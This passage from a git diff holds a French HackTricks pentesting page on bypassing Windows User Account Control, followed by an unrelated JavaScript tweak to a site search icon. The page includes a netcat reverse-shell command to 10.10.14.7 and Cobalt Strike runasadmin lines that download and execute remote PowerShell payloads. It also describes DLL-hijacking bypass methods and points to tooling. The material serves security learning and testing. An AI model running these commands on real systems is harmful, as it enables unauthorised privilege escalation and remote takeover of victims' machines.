validés](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Désactivé | -| [Contrôle de Compte Utilisateur : Élever uniquement les applications UIAccess qui sont installées dans des emplacements sécurisés](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Activé | -| [Contrôle de Compte Utilisateur : Exécuter tous les administrateurs en Mode d'Approbation Admin](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Activé | -| [Contrôle de Compte Utilisateur : Passer au bureau sécurisé lors de la demande d'élévation](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Activé | -| [Contrôle de Compte Utilisateur : Virtualiser les échecs d'écriture de fichiers et de registre vers des emplacements par utilisateur](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Activé | - -### Théorie du Contournement de l'UAC - -Certains programmes sont **auto-élévés automatiquement** si l'**utilisateur appartient** au **groupe administrateur**. Ces binaires ont à l'intérieur de leurs _**Manifests**_ l'option _**autoElevate**_ avec la valeur _**True**_. Le binaire doit également être **signé par Microsoft**. - -Ensuite, pour **contourner** l'**UAC** (élever du **niveau** d'intégrité **moyen** **au niveau élevé**), certains attaquants utilisent ce type de binaires pour **exécuter du code arbitraire** car il sera exécuté à partir d'un **processus à niveau d'intégrité élevé**. - -Vous pouvez **vérifier** le _**Manifest**_ d'un binaire en utilisant l'outil _**sigcheck.exe**_ de Sysinternals. Et vous pouvez **voir** le **niveau d'intégrité** des processus en utilisant _Process Explorer_ ou _Process Monitor_ (de Sysinternals). - -### Vérifier l'UAC - -Pour confirmer si l'UAC est activé, faites : -``` -REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA - -HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -EnableLUA REG_DWORD 0x1 -``` -Si c'est **`1`**, alors UAC est **activé**, si c'est **`0`** ou s'il **n'existe pas**, alors UAC est **inactif**. - -Ensuite, vérifiez **quel niveau** est configuré : -``` -REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin - -HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -ConsentPromptBehaviorAdmin REG_DWORD 0x5 -``` -- Si **`0`**, alors, UAC ne demandera pas (comme **désactivé**) -- Si **`1`**, l'admin est **demandé pour le nom d'utilisateur et le mot de passe** pour exécuter le binaire avec des droits élevés (sur le Bureau Sécurisé) -- Si **`2`** (**Toujours me notifier**) UAC demandera toujours confirmation à l'administrateur lorsqu'il essaie d'exécuter quelque chose avec des privilèges élevés (sur le Bureau Sécurisé) -- Si **`3`**, comme `1` mais pas nécessaire sur le Bureau Sécurisé -- Si **`4`**, comme `2` mais pas nécessaire sur le Bureau Sécurisé -- si **`5`**(**par défaut**) il demandera à l'administrateur de confirmer pour exécuter des binaires non Windows avec des privilèges élevés - -Ensuite, vous devez examiner la valeur de **`LocalAccountTokenFilterPolicy`**\ -Si la valeur est **`0`**, alors, seul l'utilisateur **RID 500** (**Administrateur intégré**) est capable d'effectuer des **tâches administratives sans UAC**, et si c'est `1`, **tous les comptes dans le groupe "Administrateurs"** peuvent le faire. - -Et, enfin, examinez la valeur de la clé **`FilterAdministratorToken`**\ -Si **`0`**(par défaut), le **compte Administrateur intégré peut** effectuer des tâches d'administration à distance et si **`1`**, le compte Administrateur intégré **ne peut pas** effectuer des tâches d'administration à distance, à moins que `LocalAccountTokenFilterPolicy` soit défini sur `1`. - -#### Résumé - -- Si `EnableLUA=0` ou **n'existe pas**, **pas de UAC pour personne** -- Si `EnableLua=1` et **`LocalAccountTokenFilterPolicy=1`, pas de UAC pour personne** -- Si `EnableLua=1` et **`LocalAccountTokenFilterPolicy=0` et `FilterAdministratorToken=0`, pas de UAC pour RID 500 (Administrateur intégré)** -- Si `EnableLua=1` et **`LocalAccountTokenFilterPolicy=0` et `FilterAdministratorToken=1`, UAC pour tout le monde** - -Toutes ces informations peuvent être recueillies à l'aide du module **metasploit** : `post/windows/gather/win_privs` - -Vous pouvez également vérifier les groupes de votre utilisateur et obtenir le niveau d'intégrité : -``` -net user %username% -whoami /groups | findstr Level -``` -## Contournement de l'UAC - -> [!NOTE] -> Notez que si vous avez un accès graphique à la victime, le contournement de l'UAC est simple car vous pouvez simplement cliquer sur "Oui" lorsque l'invite UAS apparaît. - -Le contournement de l'UAC est nécessaire dans la situation suivante : **l'UAC est activé, votre processus s'exécute dans un contexte d'intégrité moyen, et votre utilisateur appartient au groupe des administrateurs**. - -Il est important de mentionner qu'il est **beaucoup plus difficile de contourner l'UAC s'il est au niveau de sécurité le plus élevé (Toujours) que s'il est à l'un des autres niveaux (Par défaut).** - -### UAC désactivé - -Si l'UAC est déjà désactivé (`ConsentPromptBehaviorAdmin` est **`0`**), vous pouvez **exécuter un shell inversé avec des privilèges administratifs** (niveau d'intégrité élevé) en utilisant quelque chose comme : -```bash -#Put your reverse shell instead of "calc.exe" -Start-Process powershell -Verb runAs "calc.exe" -Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444" -``` -#### Contournement UAC avec duplication de jeton - -- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/) -- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html) - -### **Très** Basique "contournement" UAC (accès complet au système de fichiers) - -Si vous avez un shell avec un utilisateur qui fait partie du groupe Administrateurs, vous pouvez **monter le C$** partagé via SMB (système de fichiers) local dans un nouveau disque et vous aurez **accès à tout à l'intérieur du système de fichiers** (même le dossier personnel de l'Administrateur). - -> [!WARNING] -> **On dirait que ce truc ne fonctionne plus** -```bash -net use Z: \\127.0.0.1\c$ -cd C$ - -#Or you could just access it: -dir \\127.0.0.1\c$\Users\Administrator\Desktop -``` -### Contournement de l'UAC avec Cobalt Strike - -Les techniques de Cobalt Strike ne fonctionneront que si l'UAC n'est pas réglé au niveau de sécurité maximal. -```bash -# UAC bypass via token duplication -elevate uac-token-duplication [listener_name] -# UAC bypass via service -elevate svc-exe [listener_name] - -# Bypass UAC with Token Duplication -runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" -# Bypass UAC with CMSTPLUA COM interface -runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))" -``` -**Empire** et **Metasploit** ont également plusieurs modules pour **contourner** le **UAC**. - -### KRBUACBypass - -Documentation et outil dans [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass) - -### Exploits de contournement UAC - -[**UACME** ](https://github.com/hfiref0x/UACME) qui est une **compilation** de plusieurs exploits de contournement UAC. Notez que vous devrez **compiler UACME en utilisant visual studio ou msbuild**. La compilation créera plusieurs exécutables (comme `Source\Akagi\outout\x64\Debug\Akagi.exe`), vous devrez savoir **lequel vous avez besoin.**\ -Vous devez **être prudent** car certains contournements **demanderont d'autres programmes** qui **alerteront** l'**utilisateur** que quelque chose se passe. - -UACME a la **version de construction à partir de laquelle chaque technique a commencé à fonctionner**. Vous pouvez rechercher une technique affectant vos versions : -``` -PS C:\> [environment]::OSVersion.Version - -Major Minor Build Revision ------ ----- ----- -------- -10 0 14393 0 -``` -Aussi, en utilisant [cette](https://en.wikipedia.org/wiki/Windows_10_version_history) page, vous obtenez la version de Windows `1607` à partir des versions de build. - -#### Plus de contournement UAC - -**Toutes** les techniques utilisées ici pour contourner l'AUC **nécessitent** un **shell interactif complet** avec la victime (un shell nc.exe commun n'est pas suffisant). - -Vous pouvez obtenir cela en utilisant une session **meterpreter**. Migrez vers un **processus** qui a la valeur **Session** égale à **1** : - -![](<../../images/image (96).png>) - -(_explorer.exe_ devrait fonctionner) - -### Contournement UAC avec GUI - -Si vous avez accès à une **GUI, vous pouvez simplement accepter l'invite UAC** lorsque vous l'obtenez, vous n'avez vraiment pas besoin d'un contournement. Donc, obtenir l'accès à une GUI vous permettra de contourner l'UAC. - -De plus, si vous obtenez une session GUI que quelqu'un utilisait (potentiellement via RDP), il y a **certains outils qui s'exécuteront en tant qu'administrateur** à partir desquels vous pourriez **exécuter** un **cmd** par exemple **en tant qu'admin** directement sans être à nouveau invité par l'UAC comme [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Cela pourrait être un peu plus **discret**. - -### Contournement UAC bruyant par force brute - -Si vous ne vous souciez pas d'être bruyant, vous pourriez toujours **exécuter quelque chose comme** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) qui **demande d'élever les permissions jusqu'à ce que l'utilisateur l'accepte**. - -### Votre propre contournement - Méthodologie de contournement UAC de base - -Si vous jetez un œil à **UACME**, vous remarquerez que **la plupart des contournements UAC abusent d'une vulnérabilité de détournement de DLL** (principalement en écrivant la DLL malveillante sur _C:\Windows\System32_). [Lisez ceci pour apprendre comment trouver une vulnérabilité de détournement de DLL](../windows-local-privilege-escalation/dll-hijacking.md). - -1. Trouvez un binaire qui **s'auto-élève** (vérifiez que lorsqu'il est exécuté, il s'exécute à un niveau d'intégrité élevé). -2. Avec procmon, trouvez des événements "**NOM NON TROUVÉ**" qui peuvent être vulnérables au **détournement de DLL**. -3. Vous aurez probablement besoin de **écrire** la DLL à l'intérieur de certains **chemins protégés** (comme C:\Windows\System32) où vous n'avez pas de permissions d'écriture. Vous pouvez contourner cela en utilisant : - 1. **wusa.exe** : Windows 7, 8 et 8.1. Cela permet d'extraire le contenu d'un fichier CAB à l'intérieur de chemins protégés (car cet outil est exécuté à partir d'un niveau d'intégrité élevé). - 2. **IFileOperation** : Windows 10. -4. Préparez un **script** pour copier votre DLL à l'intérieur du chemin protégé et exécuter le binaire vulnérable et auto-élévé. - -### Une autre technique de contournement UAC - -Consiste à surveiller si un **binaire auto-élévé** essaie de **lire** dans le **registre** le **nom/chemin** d'un **binaire** ou **commande** à **exécuter** (c'est plus intéressant si le binaire recherche cette information à l'intérieur du **HKCU**). - -{{#include ../../banners/hacktricks-training.md}} diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js index 2ec1f5ec0..f47ba384a 100644 --- a/theme/ht_searcher.js +++ b/theme/ht_searcher.js @@ -101,6 +101,7 @@ const READY_ICON = icon.innerHTML; icon.textContent = '⏳'; icon.setAttribute('aria-label','Loading search …'); + icon.setAttribute('title','Search is loading, please wait...'); const HOT=83, ESC=27, DOWN=40, UP=38, ENTER=13; let debounce, teaserCount=0; @@ -158,8 +159,16 @@ /* ───────────── worker messages ───────────── */ worker.onmessage = ({data}) => { if(data && data.ready!==undefined){ - if(data.ready){ icon.innerHTML=READY_ICON; icon.setAttribute('aria-label','Open search (S)'); } - else { icon.textContent='❌'; icon.setAttribute('aria-label','Search unavailable'); } + if(data.ready){ + icon.innerHTML=READY_ICON; + icon.setAttribute('aria-label','Open search (S)'); + icon.removeAttribute('title'); + } + else { + icon.textContent='❌'; + icon.setAttribute('aria-label','Search unavailable'); + icon.setAttribute('title','Search is unavailable'); + } return; } const docs=data, q=bar.value.trim(), terms=q.split(/\s+/).filter(Boolean);